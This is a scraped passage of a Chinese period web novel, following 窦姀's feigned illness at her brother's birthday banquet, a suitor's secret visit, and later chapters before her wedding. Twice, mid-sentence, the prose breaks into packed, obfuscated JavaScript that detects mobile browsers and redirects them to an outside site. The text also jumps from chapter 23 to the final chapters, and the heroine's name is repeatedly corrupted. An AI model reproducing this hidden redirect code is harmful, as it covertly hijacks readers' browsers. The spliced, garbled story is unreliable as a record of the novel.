她琢磨着魏攸身上的好,跟弟弟细数道:“待人有礼,风流倜傥,会文采...” 窦平宴听着却沉默,又问道:“这样就够了?” 窦姀甜笑应声。就连埋头做针线时,脸颊都有红意。 ... 又过了几日,窦平宴再次找上门。 这回他来时,手里提了许多盏纸灯笼。 细细的竹柄,灯笼有茶白的、鹅黄的、淡粉的、青碧的......其色繁多,数不胜数。 窦姀仔细一瞧,这些纸灯笼上竟还题了诗,什么“花好月正圆”、“游遍九衢灯火夜,归来月挂海棠前”、“但愿人长久,千里共婵娟”...... 她看完一讶,问弟弟:“这是做什么?不还没到仲秋吗?” 窦平宴二话不说,已经把纸灯全放她屋里。他说是还没到,不过这些都是要送人的。 一看这些诗的字迹,誊写之人是谁不言而喻。 她又打量了一下,发现竹条上的彩纸糊得并不好,甚至溢出了...外头小贩若把灯笼做成这样,怕是得关门大吉了吧。 如此手生粗糙的纸灯笼,显然是他自己做的。 还题了这样情深的酸牙诗,即便没明说,窦姀也猜到了七八。 于是她问弟弟,既然是送心上人的,怎么又放这儿来了? 只见窦平宴笑了笑,说:“阿姐作画比我好,我这是请阿姐在灯上画那么几笔花鸟山水,也算添美。” 窦姀却不干:“这么累的事,二爷轻轻一说就行了?人家跑腿还知打个赏钱呢。” 他一听,目光悠悠地转起来:“哦?那阿姐想要什么赏钱?” 窦姀倒真没什么想要的,只让弟弟先欠着。 这纸灯有十几来盏,窦姀一连画了许多天,等到窦平宴生辰那日才画好。 灯笼不大,其实本也不用画这么久的。 只因为这是弟弟请她帮的忙,便也就特地寻了好笔好墨,先在纸上起一遍草,再细细临摹进纸灯。这样一通慢工细磨,也就画了许久。 今早小年上门。 她以为小年是替窦平宴来拿纸灯的,本要进屋,忽然被叫住。 小年寻思了下,说灯笼的事不急,又问她:“二爷生辰,晚上主君在藕香亭设了家宴,姑娘不来么?” 窦姀一愣,笑着摇头:“都说是家宴,我若去了,只怕多添主君心烦吧?” “姑娘勿怕,这反而是二爷希望姑娘去的。他在其中斡旋已久,姑娘这一去,或许能稍解眼前困境。” 小年说完这些,又靠近一步,低声道:“二爷说了,让姑娘吃掉上回他给的药,装病去。” 只这一句,窦姀突然明白了。 夜晚来临时,她倒真如窦平宴所希望的那样,已经带着春莺和芝兰俩丫头出门了。 这是弟弟上回为了解她归家的困局,给备的药。对身子倒是无害,只是会有虚汗之象,能撑个三四日。 窦姀现在吃完药,已经过去半个时辰了,脸颊开始泛起微红,四肢也有点无力,极像生病发热之人。 这药只有她与窦平宴两人知晓,因此连俩丫头也瞒了过去。 夜风习习,走在长廊花丛间。春莺搀扶,逐渐注意到她的不对劲,不免担忧问道:“姑娘是不是病了?要不,咱还是不去了,回院里歇歇吧?” 窦姀轻咳两声,拿的一手好戏,似虚脱道:“无妨,小病而已,回去再治也是一样的,如今见父...主君要紧呢。” 春莺只一声叹,没再说话了。 到了藕香亭,只见桌上已摆满珍馐玉馔。到场之人除了窦洪、云如珍和窦平宴,还有窦云湘、窦云筝、窦平彰、窦平琦几人。 云如珍时不时为窦洪添茶,偶尔耳语几句。窦云筝也会和八岁的弟弟平琦小声说话,其他人之间倒是没什么话可讲,皆默默吃着膳食。 窦姀只站在廊下躲风,想了想,并没有先过去,而是打发春莺带着生辰礼,去和大娘子通报。 亭子离这儿并不算很远,左右也就十来步的路。窦姀依稀听到风中挟来大娘子问春莺的话:“......姀姐儿怎么只带礼,也不过来坐下吃些?” 春莺小声地回禀:“姑娘病了,怕传给大家...” 这话一说完,窦姀便看见他们的目光纷纷往廊里看了来。 长廊下没什么灯,只有她和芝兰手里的昏黄灯笼。这么黑魆魆,估计也只能看到她的一点人影儿,在夜风中显得尤为可怜。 这样才好呢。窦姀满意地想。 又过了一会儿,她看见窦洪凑过头,似乎跟窦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957900|161009||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 平宴说了什么。而后窦平宴便放下碗筷起身,朝长廊过来。 碰面时,二人虽无多言,却十分默契。 但见他将肩上的斗篷解下,披到自己身上,又忽然一声惊:“阿姐,你这身子要不要紧?我怎么瞧着不太好?” 话一说完,便听另一头亭中传来中年男子厚浑的声儿:“你还啰嗦什么呢?赶紧带你阿姐过来——” 窦姀走到窦洪跟前时,其实心底十分惧怕与惶恐。 回来这么久,她从未没见过他。不敢见、不愿见,怕被辱骂,也怕被赶走。原本她的身份没曝光,还是府上的四姑娘时,便也不怎么受人重视。他最宠爱的,只有兰姨娘的两个女儿。 即便是云筝,境遇也比她好许多。 窦洪一年能跟自己说过的话,简直屈指可数。 现在就这么直白白、明晃晃地站在他跟前,窦姀是真的害怕,装病会不会一下就被他看穿?可是她为了能继续平平安安地再待下去,也只能讨得这位主君的心。 她清楚,欢心是讨不到了。所以她要讨的,是怜心。 窦姀垂头站立,感觉有一道沉重的目光打在自己身上。 不是探究,不是憎恶,许久之后,她才知晓那是什么——那个人缄默了有半盏茶的功夫,终于出声问道:“你在那边默默站了多久?冷不冷?今晚有风,怎不知多带个斗篷出来?可是屋里缺着?” 原来是关切。 窦姀有那么一瞬,眼眶几乎红了。她努力克制住,很小声地说:“不是很冷,是忘带了,原想着给弟弟送完就回去。” 那人又沉默了一会儿,“听你丫头说是病了,等下让宴哥儿陪着你回去,再寻两个郎中仔细瞧瞧......病拖着可不好,像你祖母那样沉疴一生...” 说到这儿,他忽然顿住,渐渐没了声。 祖母……她曾经就是与祖母天命相克,才被人家嫌恶的。窦姀觉得五味纷呈,抿了抿嘴便道:“姀知晓,多谢主君关怀。姀还以为,这辈子都见不了主君了……” 主君。 窦洪手指一动,像是想纠正什么,终究却只能欲言又止。 回去的路,是窦平宴陪着一起走。夜里有些凉,风忽然轻轻吹过,吹开了她两边鬓角发丝,犹可见眼尾的一点红。 窦姀正要解下斗篷还给他,却被按住了手。他仍掺着她在走,笑着说:“阿姐你如今可是病人,该多穿些,切勿病上加病了。” 窦姀低声一笑,“亏你也找得来这东西。” 不过这药倒真是奇,用起来和真病一模一样。如今她是哪哪都使不上力,脸又一直闷红,只人没有任何不痛快。 又走了一会儿,窦平宴忽然停下,看着她:“我背你吧,阿姐。” 这话提的突然,但是她想起弟弟确实扶了自己一路,不免打笑说:“你这是不想掺我了么?” 谁知他竟嗯了一声,已经松开手:“对,不想掺了。你既使不上力,不如到我背上来。” 说罢,他却一笑:“还是说...要到我怀里来呢?” 23. 发觉 窦姀白了他一眼:“你近儿说话怎么这样浮浪?” 她推开他的手,正要自个儿走,忽然又被拦下。 窦平宴已经站到她面前,弯下腰:“上来吧,阿姐,你走得这么虚力又慢,还是我背快些,不然在外头都要吃尽冷风了。” 他说的也不是没道理。 毕竟夜里真的很冷,弟弟又把斗篷给了自己......窦姀最后不再犹豫,勉为其难地爬到他背上。在这凉如水的夜色中,还能感觉到他温热的身体。 她柔若无骨的手臂刚攀上他的脖颈,突然腿根一紧,他已经背着她站起来了。 窦姀没想到,明明还是一样的年岁,弟弟却已经高出许多,力气也变得很大。即便背着她,他走得还是稳,连气息都没分毫紊乱。 两只相叠的影子,长长拉到地面上。 晚间银月素影,灌丛萧萧,小道寂寂然,只有风中挟着窸窣的脚步声。 窦姀就这样趴在他的背上,也不知是风太舒服,还是他的身子暖和,竟让她有些昏昏欲睡了。 她努力撑起眼皮,盯看前面的路。又怕弟弟干背着无聊,便凑近他耳畔,轻轻问道:“我重不重呀?你要是累了,就让我自己走会儿......” 须臾后听见他一声笑:“不重,跟背只鹅差不多。” 鹅… 窦姀一笑,立即便用手指戳了戳他的脸:“好呀,你如今连我都说得!我回去非饶不了你。” 哪知窦平宴听了身形一顿,突然转过头,竟险些擦上她的脸。 脸离得极近,不过毫厘之间,他目光含笑,气息也轻轻喷薄在她的颊上:“阿姐要怎么饶不了我呢?” 窦姀不知是不是药效还在,竟觉得那气息灼热。 太怪异了...她有意地拉开距离,头一转,埋在他另一侧肩上,闷声道:“你忘记什么东西落我这儿了?就那些纸灯笼呀,若是惹我不快,我可是能一把火烧了的。” 他已经回过头,继续背她往前走,顺便哈哈一笑:“那便随阿姐烧去,反正我心上人也不会怪我的。” 到了梨香院,窦平宴终于把人放下,转头取走了纸灯笼。 临走前还跟她提了一嘴:“阿姐读诗时可读过长干行?那诗我虽不喜,有一句却尤为喜欢,叫‘同居长干里,两小无嫌猜’。” 窦平宴走了,可一切并没有结束。 因为他最后说的那番话。 长干行,那是什么样的诗,窦姀当然清楚。两小无猜,同居长干,诗中的主人公就像她与弟弟一样,总角同檐了十多载。那么窦平宴,为什么要突然说这些? 窦姀心中隐隐有种不安感。 其实这种不安感,上回就该有了。 上回被他拉着坐怀中时,就该有这种不安了。 可是这么荒唐的事她一直都不肯信,这些时日总在麻木自己,告诉自己,只是想得太多。弟弟待她与从前好像也没什么差别?只是两人情谊深重而已。 可今晚这种不安之感,又加剧了几分... 窦姀睡不着。 又想,要是姨娘还在,自己把这事告诉她,姨娘无论如何也不会信的吧? ...... 入春后,转眼到了二月十五的花朝节。 所谓花朝节,是女眷们踏青赏红的活儿。云如珍一大清早,便带着府里几个姑娘出门。 自然,这其中也带上了窦姀。 到了傍晚回家时,窦姀和云筝正巧同乘一辆马车。 以前和二姐云湘同乘时,两人起码还能说上几句。但和云筝,却是从小到大的看不顺眼,没什么话可讲。 窦姀无聊的玩手指,一块帕子叠成块、又圈成圈,还没玩完。她眼眸无意间往窦云筝身上一瞥,却忽然看见她满头珠翠中的一支金钗。 那金钗石榴树形,镶了几粒翡翠,钗柄金芒闪闪,似乎还雕刻了些细花。 窦姀只一眼,便愣住了...... 弟弟送自己的生辰礼,竟和云筝这支如此相似! 难怪自己总觉得眼熟,原来云筝也戴过。 窦姀突然问云筝:“你这金钗......是从何而得的?” 窦云筝本在闭目养神,听见这话立马睁开眼睛。 她瞥了窦姀,慢慢把金钗拨下来观赏,甚是自得地说:“我看你也没见过这样好的东西吧?告诉你也无妨,这是魏大娘子头回上门相中我时,给插上的金钗。自古两方男女嫁娶,便有这个习俗,都要这么做的。” 说罢,窦云筝又看了眼手上的钗子,叹道:“这出自世家的东西就是不一样,若是寻常人家,恐也送不了这样好的。我与大姐、二姐能收得,你就未必收的了,毕竟你又不是爹爹的亲女儿。即便现在装可怜骗了爹爹又如何,野种就是野种,再怎么说也只是表姑娘。” 窦云筝本以为辱完她起码闷声掉眼泪,没想到窦姀却一句不说。 像是怔住了般,愣愣靠着木枕。 窦姀捂住胸口,忽然小小地喘气,仿佛受了巨大惊吓。她还记得窦平宴替她簪上时说过的话,什么极相配......那本就不是能送给她的! 回到家后,天色已经深了。 云如珍叫几个姑娘在前院园子里放花神灯,祈福热闹热闹。 窦姀的衣裳不慎弄脏,放了一半花神灯后,便先离去更衣。 刚把一身新衣裳换好,就听到屋外一阵动静,像是有什么人跑过来,对着屋外一婆子说道:“你们琦哥儿衣裳全湿了,快带他换一身!” 这是个极为耳熟的年轻男子声音。 窦姀一听,急忙推开门,正见一人青衣长袍,跨坐在屋外的青苔石阶上。 她认出来了,有些欣喜,轻轻出声问道:“可是魏郎君?” 魏攸闻声,急忙转头,见她正站在屋檐月头下,眉眼如黛,含着笑意。他看愣了,好一会儿后才拍拍衣袖站起,忙笑说:“今日随家母来府上拜访,正巧碰上你们家琦哥儿贪玩落水,我便将他捞起,送到这儿先更衣,没想到你也在。” 本来在守门的婆子带窦平琦去更衣了,眼下这屋子附近并没什么人。窦姀便放开了些,扶着门笑说:“真是赶巧,怎么你回回上门都能碰见我,难道是天定的缘分?” 魏攸头一昂,却不这么认为。 “若说是缘分,也得有人存着心才行。”他认真地看向她,忽而小声道:“你信,其实我来只是想见你一面么?” 窦姀红着脸垂下眼眸。 见窦平琦还没换好,他索性便多说一会儿,毕竟见人一趟难比登天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957901|161009||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' p>没到上门提亲的日子,魏攸常常想,要是这一日早些来就好了,他就不用这么处心积虑,偷偷摸摸见心爱之人了。 他想了想,问了件一直不太懂的事:“你大姐窦云娇、二姐窦云湘、三姐窦云筝,为何她们三位从云字,你却不从呢?其实我觉得,你从云也很好听呀。” 说罢,就听他轻轻唤了声云姀。 云姀两字本来还好,从他口中唤出,却显得柔和缱绻至极。 窦姀听着心弦一跳,火热迅速上了耳垂。 她脸红,有点不敢看他,便垂下眼眸解释道:“本来我也要从云字的,只是因为我出世时祖母正巧病了,便改了。老祖宗字火,而云属水,水克火,因而...” “因而他们就觉得你不祥,是你克的?” 他忽然眉心一蹙,问道。 窦姀点点头,没有再说话。 魏攸了然颔首,想了想,便轻声说道:“这东西我从不信。他们觉得你不祥,可在某心中,你却是救我重活的菩萨小娘子,良善之心,又岂是那些脏东西能沾的?你与我而言,是至宝......” 这话说完时,忽然传来了开门声。 好在他们声音并不大,也就自己二人听得见。不一会儿,婆子便带着换好衣裳的窦平琦走出来。 窦平琦今年不过八岁,是主君的小儿子。虎头大耳,模样甚是憨态可爱,所以便颇得主君的喜爱。 窦平琦揉揉眼睛,立马跑上前牵住魏攸宽大的手。却看了眼窦姀,仰头问他:“大哥哥为何要跟姀姐姐说话?我姨娘和姐姐都不喜欢她,说她晦气,沾上准没好事儿......让我以后见到都要躲远些。” 魏攸看见窦姀垂下了眼,似乎也没有为自己辩驳的举动。他便把窦平琦拉开了些,蹲下身,好声好气问道:“那你姀姐姐可曾对你不好吗?” 窦平琦倒是认真一想,最后摇摇头。 魏攸摸他的头,又叹口气:“既如此,那你为何如此厌恶她呢?你可知你厌恶她,她却没有一点讨厌你的。” 窦平琦沉默不说话了。 看到魏攸重新把人领到自己跟前时,窦姀还好奇他都说了些什么,竟让琦哥儿目光闪躲,现在不敢看自己。 魏攸笑了笑,只说没什么,又叮嘱道:“以后不要旁人说什么,你都忍气吞声。如此一来不委屈自己么?” 窦姀只一笑,并不答。 其实她早已不觉得有什么委屈。她的处世一贯如此,结想结识之人,若非己友,巴不得半句话也不用客套。这也是她为何懒散避世地躲在小院,不太爱与人说话的缘由。 与魏攸这一见,很快到了头。两人虽没说许多的话,可窦姀却感觉好像过去很久。 她揣着一颗欢心回去,面上虽不显,一路却都在雀跃。 谁知快走近自个儿院子,便看见窦平宴站在院门前,似是在等她。 他倚着门,任由夜里凉风吹过,却幽幽地看她一眼:“放完花神灯后便没见阿姐的影儿,是不是去见他了?” 窦姀心一跳,下意识问道:“谁?” “谁?”只见他慢悠悠拿出一张字条。那字条上作了两句传意相思的新词,字迹正是魏攸的。 窦平宴一声冷笑:“阿姐真以为,有些事做的天衣无缝么?” 79+完结+番外 79、永别 年关过去,转眼到了正月初二,窦妖的生辰。 今日也是她留在窦府的最后一日。 因为窦洪说,等生辰过去,便让她先和襄州的叔父婶母搬到别院去住,等到正月十三大婚当日,迎亲的花轿会再将她抬回窦家。 至于成婚,窦妖说不上是何感觉,只觉如梦似幻。 曾经喊了十几年的父亲母亲要变成姑舅,弟弟变成夫君,姐姐变成姑姐,她终于深明当初窦洪送她走的心,任谁都很难接受。 今早,窦妖来到主屋给父亲奉茶。 留家的最后一日,窦洪叮嘱了很多,譬如搬到别院后该改口,唤叔婶为父母,礼节上也不可漏。 窦洪又摸着她的头,嘱托道:“瓶翠我已经处置好了,你不必再担心,这事你就当做不知情。如今大娘子还尚未发觉,倘若有一日掩不住了她问起,你也只当不知。终究这事是我所为,与你也无干。" 前不久,窦洪便在用膳时提到,王家的女儿要出嫁,王家费了一大功夫才请来宫里的教引嬷嬷,专门教女儿规矩。听闻这位嬷嬷在宫庭有名,官家不少妃子从采女起,便是她带的。就连上京许多高门嫁女儿,也会请宫里嬷嬷来教。因此王家特特从京中请人来,便是为了教女儿做好当家主母。 窦家与王家素有交情,窦洪跟云如珍提到,想让家里的姑娘也去王家学学。可如今家中,待嫁的几位都不宜走动。 因此云氏眼珠一转,忙荐人笑道:“不如让瓶翠去好了!瓶翠好歹是我云家的表亲,出身摆在那儿呢,也不会让王家觉得辱没。等瓶翠回来,再把自己学的教家里姑娘,主君看这样如何?" 此话正中窦洪下怀,他点点头应了。 于是隔日,瓶翠便被窦洪的马车接走。至于去的是不是王家,便无人可知了。 就这样一连十几日过去,直到年关,窦妖都没在府上见过瓶翠。 除夕那夜,云如珍曾向窦洪问起瓶翠的近况。窦洪便说道:“嬷嬷来江陵一趟不易,授其终身,你自个儿也知管家之事哪是一两日就能学会的?王家的女儿三月才出嫁,瓶翠约莫二月底才能回来呢!" 而现在,父亲却说瓶翠已经被他处置好了。窦妖即便隐约猜到,却还是忍不住想,是被他发卖了?还是杀了?但凭大娘子对瓶翠的重视,如此来,却少不了一场腥风血雨。 窦洪给女儿送了两套金攒丝头面、极华重的凤冠作生辰礼。父女俩正说话之际,窦云湘也来了。 对于云湘和云娇两个女儿,窦洪可算得十分宠爱。即便后来云湘与戎北勾搭成奸,让他这个做父亲的十分失望。但此事,窦洪也只重重拿起,轻轻放下。云湘做的事再辱没门风,也只是挨了几个板子,小惩大诫。 父亲这样的偏颇,窦妖早已看透。因此窦云湘进屋时,她便主动退到一边,坐椅子自个儿吃茶。 果然湘一进屋,窦洪全身心都在她身上。他接过女儿奉的茶后笑道:“这几日你的气色好多了,脸上笑也多,看来有在好好吃药。就该这样,变回从前的湘儿,爹爹和你娘才能安心!" 窦云湘的目光却往窦妖身上瞥去。 只是很快的一眼,云湘收回视线,朝父亲跪道:“女儿有一事相求,望父亲成全!若父亲答应,女儿定安安心心嫁去范家,绝不再让爹爹担忧。” 窦洪笑道:“你说。湘儿马上也要出嫁,还有什么想要的,再难爹都要给你弄来。” “我要带戎北走,他就当我的陪嫁,像我的丫鬟们那样,一同嫁到上京范家。爹爹也不必担心,我只是想留他在身边罢了,绝不往来,到范家后,我便安排他做个马夫。他的事我会努力掩好,不会让范家人知晓。” 在此之前,窦妖都坐在一边默默吃茶,无波无澜。直到窦云湘开口,说出这番惊天动地之话,她心中隐隐有种不安。 果然下一刻——瓷盏碎裂,水渍四溅。 窦洪登时起身,暴跳如雷,一巴掌竟直直摔在云湘脸上:“胡闹!混账!亏你也想得出这种主意!” 触目惊心,云湘的脸打偏,红得滴血。窦妖就在旁边,更是吓得不敢动。 屋外兰姨娘听到动静冲进来,急忙跪下,抱住窦洪的身:“主君息怒!主君息怒!这丫头烧坏脑袋胡说的!” 眼见窦洪还在生气,兰氏一瞪窦云湘:“你快别惹你爹爹发火了,赶紧认罪!” 窦云湘仍跪在地上,没理兰姨娘。 目光却往窦洪脸上望去,平静道:"我与他两情相悦,没罪为何要认?况且我说了,只是带他去范家,绝不会乱来的。爹爹为何不能应允?" "你简直恬不知耻!"窦洪出手还要再捆,却被兰氏紧紧拦下。兰氏哭着道:"主君勿恼!勿恼!都是那戎北的错!他也不看看自己是什么人,就敢勾引咱们湘姐儿!主君把他打死罢!只要打死他,咱们湘姐儿就醒了!再不会行差踏错了!" 窦洪肃脸点头,抬手招来昌叔之时,一声悲鸣从窦云湘口里出来。 她推开兰姨娘,爬也似得抱住父亲的腿:“爹不要!不要杀他!女儿求您饶他一命,饶他一命!” 窦云湘哭声连连,不停砰砰磕头,一个赛一个地响。 窦洪一见她这模样,人更恼了,骤然把人从地上拎起:“你这疯疯癫癫像什么样!被个马夫迷住心窍,连这些年规矩礼仪浑都忘了!你这样子,我还敢把你嫁去范家?你姨娘说得对,我就是太仁慈,留贱人这么久!今日便是为了你归到正途,我也得杀了他!" 窦洪再不顾窦云湘的悲鸣与哭声,大喊昌叔。一声命令下去,昌叔便去耳房提人来。 后来又遣走窦妖和兰姨娘,让下人死死按住窦云湘,非要活活当着她的面把人打死。 戎北被绑在长条木凳,一个又一个重板下去,打得皮开肉绽,硬是咬牙一声没出。反倒是窦云湘哭得撕心裂肺,不停挣扎、磕头,连额心都磕出血迹,最后哭到昏厥。 窦妖走在路上,听到窦云湘响彻天地的哭声,没想到二姐也有这么一日。 我与他两情相悦,没罪为何要认? 窦妹冷笑,又真的没罪吗?收□□莺,怂恿云筝,趁窦平宴在梨香院的时候下药,又故意引云筝来,挑拨离间…最后和戎北沆瀣一气,以为杀掉春莺,就抹灭了自己身上原有的罪孽,回到最初,又是个清清白白的窦云湘。 相较之下,她以前虽不喜欢云筝,可现在想起,云筝最多娇纵些,恶毒的事还真未曾做过。 不知不觉中,窦妹已经走回梨香院。今日是她生辰,院子里摆满不少贺礼,吃穿住行的用物,各式各样都有。 其中,窦妖还留意到极为特别的一样——竹篓中有雪白、毛茸茸的猫,很小的三只,正纷纷探出脑袋,眼睛是乌溜溜的黑豆。 窦妖看得心都化了,欢喜的上前挨个摸。苗巧凤笑道:“姑娘如此喜欢,看来这礼送到心上了,它们都是大爷送来的。” “谁?大爷?” 窦妖唇边的笑意凝住,回头看苗巧凤:“他?不可能,你是不是认错了?窦平彰讨厌我还来不及,怎么会送这个!” 窦妹突然又想起,好像也不是没可能——因为前年生辰,窦平彰送来的就是一只死猫! 她登时后退两步,蹙眉,略惊疑地看向竹篓里的三只小猫……它们会不会已经被喂好药,过两天就突然死掉? 窦妹忙跟苗巧凤说道:"我不要这猫,你快给他送回去,谁知道他葫芦里卖什么药!" 话音刚落,却有一人从檐后走出。那人走得从容,声线平缓道:“你不必怕,我这回不是要吓你,是真心贺你生辰的。” 此人正是,窦平彰。 窦妖不敢置信窦平彰会到她的院里,以前他总嫌她不祥晦气,后来又嫌她身世不堪,拖累到他。十几年来,兄妹俩都没好好说过话,自然,在窦妖眼里自己也没有兄长。她很难不怀疑窦平彰正打什么算盘,整个人像待战的小鹿,警惕盯他:“你送的东西我不要,自个儿拿回去!你来这儿究竟想做什么?” 窦平彰站住了,不再往前走。 “除了贺你生辰之外,我的确还有一事想求你。”他屏气看了窦妖有一会儿,突然说道:“你把芝兰给我吧!只要你肯把芝兰给我,我愿答应你任何事,你要什么,尽可同我说!" 这事他先前就提过一嘴,当时被她拒绝了。窦妖没想到,他至今竟还不死心。又或许,他是知还是不知芝兰要杀他? 窦妖依旧拒绝了,说道: "我不想给你,你说什么都没用,除非芝兰愿意跟你。" 院子的西边,芝兰正和小丫头在晒被褥。听到动静,芝兰停下手头的动作,遥遥望来。 窦妖朝芝兰露出一笑,让她安心。 可芝兰却紧张着,嘴角越来越哆嗦,不见半点安定。最后——竟撤了手小跑过来,扑通一声朝窦妖跪下:“姑娘…奴愿意跟着大爷,望姑娘成全……” 窦妖惊诧,看向窦平彰,却发觉他也同样错愕、不可思议。 接着他的唇边便有了笑意,略期待地看向妹妹:“她说她愿意跟我,你把她给我吧!你想要什么,我都会给你弄来的!” 窦妖盯着这二人,一个紧张低眉,看着不像高兴,一个却十分高兴。 她第一个反应,以为芝兰受胁迫了!可是过脑后仔细想,芝兰的爹早亡,她娘庄婆子也死了,如今芝兰孑然一人,为了替母复仇,连自己的生死都不在乎,还有什么可受要挟的? 窦妖想了想,很快猜出来,芝兰不是真的愿意跟他,而是想接近他,杀了他! 她曾答应过芝兰,自己不仅会睁只眼闭只眼,还会帮忙。而现在,芝兰正打定了主意,窦妹心下叹人傻,只好说道:“好吧,芝兰既愿意跟你,那便跟你,你可要好好待她。” 窦平彰轻快应下了,很快的带人离开。 这一切从来到往,快得窦妖几乎不能反应过来。 就像前一刻,芝兰还是她梨香院的人,等着跟她明日离开,搬去别院住。而下一刻,她就已经成了清风馆的人,要跟窦平彰走。 窦妖最后看到的,只有芝兰离开梨香院时回头的那双眼眸…翕动的唇似乎轻轻在说,姑娘安心,永别了。 80、那堪昔年华灯配(终) 过完生辰,窦妖暂时离开窦家,与窦曲、涂氏搬到了城西的别院住。只稍小住十来日,她便要坐上花轿成亲了。 窦妖带来别院的,有苗巧凤和梨香院的小丫头。芝兰没有跟来,她已经去了清风馆,以后或许也……窦妖想罢,手头的一支红梅松落,落到雪地里。 原先为了报恩,她要尽力护住芝兰。而如今芝兰想做的事,她同样左右不了。 虽风俗常说,男女成亲前是不能见面的。那窦平宴显然不是那种守规矩的人,窦妖搬来没两日,他便忍不住上门来。 每回来别院,他都会买些吃的,有糕点果子之类,也有炙烤的羊肉,还有些咸甜酸辣的零嘴,都是她往日素爱吃的。 弟弟会和她一起坐院子里吃东西,偶尔讲起这几日去了哪些书院,见到哪些人。他柔和认真的眉目,侃侃而谈,好像又回到了两人小时候,相依无畏的日子里。 天还是很冷。 白皑皑的雪地,院子石桌上有弟弟今日买的旋炒银杏、西京雪梨。 窦妖人缩在毛绒鹤氅下,忍不住咳了声。忽而他便停住话,仔细盯来:“阿姐这几日的气色还是不见好,可是郎中抓的药不好?想来也是,咱们就该多找几位瞧瞧才准。” 话落,窦妖就被弟弟拉着手站起。人被带的踉跄,雪地脚印一深一浅。她忍不住道:“你慢些,别走这么快,要去做什么啊?” 窦平宴说:“带你去医馆瞧病。我知道东城门附近有个看病极佳的郎中,人称妙手,咱们再让他瞧瞧病,开副养身子的药方。” 别院在城西,医馆却在城东,好远的路,马车坐得窦妖昏昏欲睡。 睡梦中,始终有只手臂紧紧揽着她,把她拥在怀中。微烫踏实的胸膛,衣裳醺了白芷香,让她又再度回到从前做过的旖旎春-梦。 梦中,她飘在仙湖之上,柔软的像根羽毛。一个澜衫潋滟的仙人踱河而来,俯身之际,将吻轻轻落在她的唇边。仙人的唇软软嫩嫩,渡气之间,她同样嗅到了熟悉的白芷香味。窦妖眉心忍不住蹙起,缓缓睁开眼,这仙人的容貌不再模糊,却逐渐幻化出来,变成了窦平宴的模样…… 仙人在朝她笑。 窦妖怔住。他是弟弟,却又不是,因为那仙人的眉心点了颗极红的朱砂。而他目光温柔得恰似山涧,与弟弟不同,没有那股偏执的占有欲… 梦醒了,仙湖消失。窦妖睁眼看到的,只有昏暗的车舆。车外飘雪,狂风呼呼,却被厚帷挡的密不透风。她在怀里稍动作,就听到头顶的声音:“阿姐醒了?怎不多睡会儿,还没这么早到呢。” “睡太久人会犯迷糊的。” 就像她现在,也开始有些迷糊,难道这么多年梦到的仙人一直是窦平宴吗? 终于驶到东城门,医馆附近。 窦妹撩开车帷,正待下马,忽然瞥见一抹极熟悉的身影,吓得她又重新钻回马车。 “怎么了?” "我瞧见二姐姐了!" 窦妹回头看弟弟,“她戴了玄黑幕篱进医馆,但我还是能认出她。” 虽然郎中都是请到府上来看,窦云湘大老远来城东的确有些奇怪。但也不妨有些例外,比如他们… 窦平宴一想,又问:“二姐有带丫鬟出来吗?” “她的人都留在马车上,只有她独身一人进医馆。” 二人在车里等了一会儿,等到窦云湘提着药包从医馆出来,再登上马车。窦平宴见她回去的方向不是窦家,立马打发小年跟过去看看。 窦妖和弟弟走进医馆,先给郎中诊病。 老郎中摸脉,也诊断乃气血不足。老郎中让他们勿要担心,开了副药方,便使唤徒弟去抓。趁这个空档,窦妖与老郎中闲聊,“我瞧方才离去的那位小娘子身体羸瘦,步子浮空,可也是像我一样,来诊气血亏虚的?” “非也。”老郎中抚摸胡子,“娘子眼尖,说像也像,却又不一样。那位娘子乃是脚骨疼,伤了筋,不可屈伸,老朽便为她开了副乌头汤方。”窦妖点点头。 此时小徒弟的药方也抓来了。窦平宴提上,拉住她的手离开医馆。 登上马车的时候,天快黑了。从东城门驶向城西,要费不少时辰,于是窦妖又在马车上睡了一觉。 马车停在别院门口,两人下车,小年从不远处策马而来。 小年跳下马背,左顾右看,见附近没有疑人后,便低声说道:“小的方才跟踪二姑娘,见她又去了另一家城北的医馆,还问一副药,”小年从袖里掏出一张纸,递给窦平宴:“就是这张药方。” 窦平宴看那药方,“当归、贝母、苦参各四两,上三味,末之,炼蜜丸如小豆大,饮服三丸,加至十丸。”他看后寻思片刻,“这是治妊娠,解手不利之药。” 窦妹:“妊娠…她可是替大姐姐问的药?” “或许是吧。” 天色昏黑,窦平宴将药方折好,收入袖中。又一想,忽而道:“不过她第二回去医馆问的药中有一味贝母,与第一回问的乌头汤方却相克了。贝母与乌头药性相冲,是剧 毒,不知道她是没留意,还是别有居心。” 窦妖说:"二姐姐若真心问药,为何不能在同家医馆问?反而在城东问完,又折腾去城北。她若只在一家问,郎中必会叮嘱她这二味药相克,不可同服。" 窦平宴见她发抖,不知是天冷,还是被心悸所吓,忙解了斗篷加在她身上。又把人揽进怀中说,“别怕,左右我还在窦家,这些时日我会多加留意的,阿姐只需在家中好好等我们成亲就是。"说完,窦平宴亲了下她的眉心:“谁都不能来毁我们的大婚,包括是你,乖乖等我啊。” 听到这句,窦妖不禁怔住了。他真是好没道理,就能他去拦别人成婚,还不准别人拦他的?不过她倒也没把这句说出来,免得窦平宴又要跟她闹。 …… 正月十三,宜嫁娶、宜求嗣、宜出行。这一天,花轿早早的上门。 